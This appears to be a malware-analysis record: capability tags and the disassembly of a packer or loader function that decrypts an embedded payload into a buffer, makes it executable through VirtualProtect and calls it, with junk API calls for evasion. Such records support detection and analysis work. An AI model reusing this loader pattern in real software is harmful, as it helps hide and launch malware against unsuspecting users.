Function at 0x40202e
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get hostname
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call ebx
cmp edi, 0x207138
jg 0x402055
inc edi
cmp edi, 0x4f672
jl 0x40203b
cmp dword [0x48528c], 0x93
jne 0x4020d9
push esi
call dword [sym.imp.USER32.dll_CloseWindow]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x472e60
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
push esi
call fcn.00402519
pop ecx
pop ecx
call fcn.00402020
push esi
call fcn.00402a91
push esi
call fcn.00402aa0
pop ecx
pop ecx
push esi
call fcn.00402d32
mov eax, dword [0x4752e8]
add dword [0x48528c], 0x1134b
push str.kernel32.dll
mov dword [0x4860c8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push eax
mov dword [0x484d1c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x48528c]
mov dword [0x484d10], eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x48528c]
mov dword [0x484d18], eax
push eax
call dword [0x484d10]
mov edi, 0x1692e
push esi
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push esi
call ebx
dec edi
jne 0x402138
mov eax, dword [0x48528c]
cmp eax, esi
jbe 0x4021a8
mov eax, dword [0x4860c8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x484d18]
mov byte [ecx + edi], al
mov eax, dword [0x48528c]
cmp eax, 0x490
jne 0x4021a3
push esi
push esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x48528c]
inc edi
cmp edi, eax
jb 0x40214e
xor edi, edi
lea ecx, [eax + edi]
cmp ecx, 0x8d
jne 0x4021cb
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov eax, dword [0x48528c]
inc edi
cmp edi, 0x38681
jl 0x4021aa
mov ecx, dword [0x484d18]
shr eax, 3
cmp eax, esi
jbe 0x4021f1
mov edi, ecx
mov ebx, eax
push edi
call fcn.00401007
add edi, 8
dec ebx
jne 0x4021e5
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x62
jne 0x402212
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x484d18], eax
inc edi
cmp edi, 0x674db
jl 0x4021f3
push 0x7b
pop edi
cmp dword [0x48528c], 0x86
jne 0x402242
push esi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
dec edi
jne 0x40221e
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x484d18]
pop edi
pop esi
pop ebx
leave
ret